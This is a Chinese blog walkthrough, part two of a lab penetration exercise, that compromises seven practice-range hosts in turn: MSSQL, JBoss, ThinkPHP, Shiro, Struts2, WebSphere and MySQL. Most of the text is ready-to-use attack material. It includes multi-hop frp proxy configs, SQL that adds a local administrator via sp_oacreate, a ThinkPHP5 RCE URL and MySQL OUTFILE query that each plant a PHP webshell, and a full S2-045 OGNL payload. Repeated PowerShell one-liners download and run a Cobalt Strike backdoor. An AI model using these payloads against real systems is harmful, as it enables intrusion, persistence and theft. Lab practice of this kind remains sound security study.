内网+服务攻防实战模拟(下)
作者:admin | 时间:2021-7-9 21:44:08 | 分类:黑客技术 隐藏侧边栏展开侧边栏
承接文章《内网+服务攻防实战模拟(上)》的内容,下篇主要是独立域方向的七台应用服务主机,分别安装了MSSQL、JBoss、ThinkPHP等服务应用程序,通过二级、三级代理一一拿下~~
八、独立域 | MSSQL
MSSQL渗透提权 | 10.12.10.3
1、建立frp二级代理(独立域方向)
各个配置文件内容如下
##子域控 # frpc.ini [common] server_addr = 10.10.10.101 server_port = 12002 [http_proxy] type = tcp remote_port = 1092 plugin = socks5 ##Web服务器 # frps.ini [common] bind_addr = 10.10.10.101 bind_port = 12002 # frpc.ini [common] server_addr = 121.xx.xx.xx server_port = 12002 [http_proxy] type = tcp local_ip = 10.10.10.101 local_port = 1092 remote_port = 1092 ## 公网服务器 # frps.ini [common] bind_addr = 0.0.0.0 bind_port = 12002
执行顺序:
1. Web服务器 frps.exe -c frps.ini 2. 域控 frpc.exe -c frpc.ini 3. 公网服务器 frps.exe -c frps.ini 4. Web服务器 frpc.exe -c frpc.ini
2、信息收集
独立域IP: 10.12.10.3 主机名: WIN-LOH5RS7UNDP 域名:DUULI.com 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2
使用nmap进行端口扫描
proxychains nmap -sT -sV -Pn -n -p 8080,3306,80,3389,1433 10.12.10.3
使用fscan扫描的同时顺便爆出了MSSQL的登陆密码弱口令admin@123
3、MSSQL渗透 | sp_oacreate提权
之前的文章中介绍了xp_cmdshell提权,这里详细记录下sp_oacreate提权
1)通过Proxifier连接二级代理,远程登陆上数据库
2)使用sp_oacreate系统存储过程提权
查看sp_oacreate状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
开启Ole Automation Procedures选项 当启用 OLE Automation Procedures 时,对 sp_oacreate 的调用将会启动 OLE 共享执行环境。
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',1; reconfigure;
3)执行system命令
创建用户sqltest
,密码为123.com
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user sqltest 123.com /add'; exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators sqltest /add';
4、Wmiexec远程登陆
Windows命令: wmiexec.exe sqltest:123.com@10.12.10.3 Linux命令: proxychains python3 wmiexec.py sqltest:123.com@10.12.10.3
成功登陆,说明通过sp_oacreate存储过程创建用户成功!
5、上线CS
在子域控上创建中转监听器zhongzhuan2
,生成木马文件zz2.exe
通过wmiexec.py登陆上sqltest用户,上传木马文件并执行
上线成功~
6、独立域信息收集
本机信息: 主机名: WIN-LOH5RS7UNDP 域名: duuli.com IP: 10.12.10.3 20.20.20.10 20.20.20.0/24网段信息: Cscan.exe: 20.20.20.102 WIN-AMJ9T9TL123 [Win 2016 Standard 14393] 20.20.20.103 WIN-AMJ9T9TL123 [Win 2016 Standard 14393] 20.20.20.105 WIN-AMJ9T9TL123 [Win 2016 Standard 14393] 20.20.20.104 WIN-AMJ9T9TL123 [Win 2016 Standard 14393] 20.20.20.101 WIN-AMJ9T9TL123 [Win 2016 Standard 14393] 20.20.20.10 MS17-010 WIN-LOH5RS7UNDP duuli.com [Win 2008 HPC Edition 7601 SP 1] 20.20.20.199 MS17-010 CAIWU duuli.com [Win 7 Professional 7601 SP 1] nbtscan: 20.20.20.10 DUULI\WIN-LOH5RS7UNDP SHARING DC 本机 20.20.20.101 WORKGROUP\WIN-AMJ9T9TL123 SHARING 8080/tcp open http Apache Tomcat 8.5.65 20.20.20.102 -no name- 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) 3306/tcp open mysql MySQL (unauthorized) 20.20.20.103 -no name- 8080/tcp open http Apache Tomcat 8.5.65 20.20.20.104 -no name- 8080/tcp open http Apache Tomcat 8.5.65 20.20.20.105 -no name- 9060 9080 9043 20.20.20.199 DUULI\CAIWU SHARING 80 3306
九、独立域主机1 | JBoss
JMX Console未授权访问漏洞 | 20.20.20.101
1、搭建frp三级代理(独立域方向)
相关配置ini文件内容如下,共有6个文件
##独立域 # frpc.ini [common] server_addr = 10.12.10.5 server_port = 12003 [http_proxy] type = tcp remote_port = 1094 plugin = socks5 ##子域控 # frps.ini [common] bind_addr = 10.12.10.5 bind_port = 12003 # frpc.ini [common] server_addr = 10.10.10.101 server_port = 12003 [http_proxy] type = tcp local_ip = 10.12.10.5 local_port = 1094 remote_port = 1094 ##Web服务器 # frps.ini [common] bind_addr = 10.10.10.101 bind_port = 12003 # frpc.ini [common] server_addr = 121.xx.xx.xx server_port = 12003 [http_proxy] type = tcp local_ip = 10.10.10.101 local_port = 1094 remote_port = 1094 ## 公网服务器 # frps.ini [common] bind_addr = 0.0.0.0 bind_port = 12003
按照下面的执行顺序依次进行,即可完成三级代理的搭建
1.子域控 frps.exe -c frps.ini 2. 独立域 frpc.exe -c frpc.ini 3. Web服务器 frps.exe -c frps.ini 4. 域控 frpc.exe -c frpc.ini 5. 公网服务器 frps.exe -c frps.ini 6. Web服务器 frpc.exe -c frpc.ini
2、信息收集
IP: 20.20.20.101 操作系统: Win 2016
使用railgun工具进行扫描,发现JBoss中间件 项目地址:https://github.com/lz520520/railgun
3、JBoss渗透 | JMX Console未授权访问漏洞
1)前往访问主页
http://20.20.20.101:8080/
2)发现JMX Console未授权访问漏洞
前往MainDeployer页面部署war包
3)在20.20.20.199的页面上传小马war包
用于JBoss的远程下载部署
4)远程下载本地部署
远程war包地址:
http://20.20.20.199/xigua.war
没报错表示部署成功,访问网址,小马成功部署
4、上线CS
备注:这里先打了20.20.20.102的主机,才在102主机上有zz3.exe后门文件
执行powershell命令上传CS后门文件zz3.exe
并执行上线CS,该文件已提前上传至20.20.20.102/zz3.exe
powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3.exe');start-process zz3.exe
十、独立域主机2 | ThinkPHP
ThinkPHP5.x任意代码执行漏洞 | 20.20.20.102
1、信息收集
IP: 20.20.20.102 操作系统: Win 2016
通过代理使用nmap对独立域主机1进行扫描
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.102
在20.20.20.102扫出两个开放端口80和3306,而20.20.20.101未扫出常见端口,这里先对102进行渗透测试。
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) 1433/tcp closed ms-sql-s 3306/tcp open mysql MySQL (unauthorized) 3389/tcp closed ms-wbt-server 6379/tcp closed redis 8080/tcp closed http-proxy 27017/tcp closed mongod
代理访问http://20.20.20.102/
proxychains firefox
发现是ThinkPHP 5框架
2、ThinkPHP5渗透
ThinkPHP5.x
远程代码执行漏洞
1)验证是否存在ThinkPHP5.x
远程代码执行漏洞
http://20.20.20.102/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
GG,有回显,说明是存在该远程代码执行漏洞
2)任意代码执行写入shell文件
http://20.20.20.102/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell008.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%32%33%5d%29%3b%3f%3e
参数部分要用URL编码
返回了数值表示代码执行ok
3、蚁剑连接拿shell
url地址 http://20.20.20.102/shell008.php 连接密码 123
4、上线CS
在20.20.20.10主机上创建监听器zhongzhuan3
生成后门木马文件zz3.exe
。通过蚁剑上传zz3.exe
文件,进入虚拟终端执行该文件。
上线成功~~
十一、独立域主机3 | Shiro
shiro不出网攻击 | 20.20.20.103 | Win 2016
1、信息收集
IP: 20.20.20.103 操作系统: Win 2016
nmap扫描端口
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.103
在20.20.20.103扫出8080端口,且显示为apache中间件。
PORT STATE SERVICE VERSION 80/tcp closed http 1433/tcp closed ms-sql-s 3306/tcp closed mysql 3389/tcp closed ms-wbt-server 6379/tcp closed redis 8080/tcp open http Apache Tomcat 8.5.65 27017/tcp closed mongod
访问网址http://20.20.20.103:8080
,经典页面~
测试发现是shiro
框架
2、Shiro框架渗透
Shiro反序列化漏洞550
1)shiro框架指纹
对于一般情况下,并不会出现上图的页面,而是直接一个登陆框。这时可以通过BurpSuite
进行抓包分析
在请求包中数据添加Cookie: rememberMe=1
响应包中存在set-Cookie: rememberMe=deleteMe
数据则说明当前网页是shiro框架搭建而成的
2)使用shiro不出网攻击 | Shiro反序列化漏洞550
直接使用工具shiro-1.2.4_rce.py
跑Key,并得到一个无回显的shell
proxychains python3 shiro-1.2.4_rce.py http://20.20.20.103:8080/shiro/
3)在102主机上放置后门文件
虽然这工具执行命令后无回显,但是可以通过powershell下载木马文件并执行。在这里103可以访问同网段的其他服务器(如20.20.20.102,是刚刚拿下的一台ThinkPHP主机),所以一种思路就是将后门文件放置在同网段的其他主机上,通过访问进行下载。
4)执行powershell命令下载后门文件并执行
powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3-round2.exe');start-process zz3-round2.exe
3、上线CS
执行完上面的的powershell命令,成功上线CS
十二、独立域主机4 | Struts2
S2-045漏洞 | Struts2 20.20.20.104
1、信息收集
IP: 20.20.20.104 操作系统: Win 2016
使用nmap扫描端口
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.104 PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat 8.5.65
扫描出一个8080端口,访问发现是S2-045漏洞
2、Struts2框架渗透
S2-045漏洞
1)Burpsuite抓包
2)修改数据包
POST /S2-045/fileupload/doUpload.action HTTP/1.1 Host: 20.20.20.104:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='powershell -Command (new-object System.Net.WebClient).DownloadFile(\'http://20.20.20.102/zz3.exe\',\'zz3.exe\');start-process zz3.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} boundary=---------------------------255663886332559909593529682920 Content-Length: 344 Origin: http://20.20.20.104:8080 Connection: close Referer: http://20.20.20.104:8080/S2-045/fileupload/upload.action Cookie: JSESSIONID=7B84132FC14F461D411AEBE4DA902C2AA Upgrade-Insecure-Requests: 1 -----------------------------255663886332559909593529682920 Content-Disposition: form-data; name="upload"; filename="" Content-Type: application/octet-stream -----------------------------255663886332559909593529682920 Content-Disposition: form-data; name="caption" aaa -----------------------------255663886332559909593529682920--
发送包
3、上线CS
上面操作后,发现主机成功上线!
十三、独立域主机5 | WebSphere
WebSphere | 20.20.20.105
1、信息收集
已知信息:
IP: 20.20.20.105 操作系统: Win 2016
使用railgun工具扫描端口信息,9060和9043是中间件WebSphere使用的端口
2、WebSphere爆破后台登陆密码
1)端口含义
在安装WebSphere时,会要求提供端口号,其对应的意思如下
较为重要的端口信息: 管理控制台端口 9060 管理控制台安全端口 9043 HTTP传输端口 9080
2)访问9043登陆后台
抓包跑密码跑出admin:admin@123
成功登陆进后台
3、上传小马war包
1)生成小马文件
生成xigua.war文件
2)上传该war包
在新应用程序的路径中选择xigua.war,点击下一步
在步骤四中填写目录路径
之后默认下一步,在最后一步中点击保存
3)启动xigua.war包
在企业应用程序栏中选择xigua.war,点击启动
4)访问小马
访问网址http://20.20.20.105:9080/xigua/xigua.jsp
,可以看到小马成功上传
4、上线CS
使用powershell上传CS后门文件zz3.exe
并执行上线CS,该文件已提前上传至20.20.20.102/zz3.exe
powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3.exe');start-process zz3.exe
成功上线CS~
十四、财务域 | MySQL
MySQL Outfile写shell | 20.20.20.199 Win7
1、信息收集
IP: 20.20.20.199 操作系统: Win 7 Professional 7601 SP 1 主机名: CAIWU 域名: duuli.com
nmap获取端口信息
proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.199
返回两个open端口80和3306
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) 1433/tcp closed ms-sql-s 3306/tcp open mysql MySQL 5.5.53 3389/tcp closed ms-wbt-server 6379/tcp closed redis 8080/tcp closed http-proxy 27017/tcp closed mongod
访问80端口,发现是phpstudy。对3306端口进行渗透
2、MySQL 登陆密码爆破
1)使用MSF爆破
使用scanner/mysql/mysql_login
模块,修改相关配置
PASS_FIEL 密码文件 RHOST 远程主机IP USERNAME 登陆用户名root
2)使用nmap爆破
proxychains nmap --script=mysql-brute -sT -Pn -p 3306 20.20.20.199 // 需在proxychain.conf配置文件中关闭proxy_dns选项
爆破成功后尝试登陆
proxychains mysql -uroot -proot -h20.20.20.199
注意点:这里进行爆破可以选择一小部分常见密码,不然连接次数过多会拒绝连接
3、MySQL into outfile 写入 shell
1)判断是否允许写文件
show global variables like '%secure_file_priv%';
查看secure_file_priv
选项值,含义如下
NULL 不允许导入或导出 /tmp 只允许在 /tmp 目录导入导出 空 不限制目录
2)查看网页路径信息
在默认80端口的php探针页面可以查看到
3)写入shell文件
select '<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/Kr1-shujuku.php';
4、蚁剑连接shell
URL地址: http://20.20.20.199/Kr1-shujuku.php 连接密码: 123
5、上线CS
在蚁剑上传后门文件zz3.exe
并执行
十五、总结
这个靶场打了两遍,第一遍熟悉下环境,第二遍开始记录,其中也遇到不少问题,也对一些基础知识有了新的理解。最后稍微总结下涉及到的技术点、工具脚本使用。
涉及到的技术点:
PHP一句话木马
frp一、二、三级代理
CVE-2020-1472 | 域控Hash置空漏洞
MSSQL sp_oacreate提权
JBoss JMX Console未授权访问漏洞
JBoss admin Console 弱口令登陆后台
powershell下载执行命令 powershell (new-object System.Net.WebClient).DownloadFile();start-process
ThinkPHP5.x任意代码执行漏洞
Shiro1.2.4反序列化漏洞
Struts2 S2-045漏洞
WebSphere 弱口令登陆后台
MySQL Outfile写shell
MySQL日志写shell
MySQL 登陆密码爆破
基于域信任关系的跨域攻击
涉及工具、脚本:
蚁剑
Cobalt Strike
nbtscan、Cscan、fscan
frp
proxychains
proxifier
nmap
mimikatz
reinstall_original_pw.py(域控Hash恢复脚本)
项目地址:https://github.com/risksense/zerologon
Wmiexec
railgun
shiro-1.2.4_rce.py
项目地址:https://github.com/zhzyker/shiro-1.2.4-rce
BurpSuite
MSF
jexboss.py
项目地址:https://github.com/joaomatosf/jexboss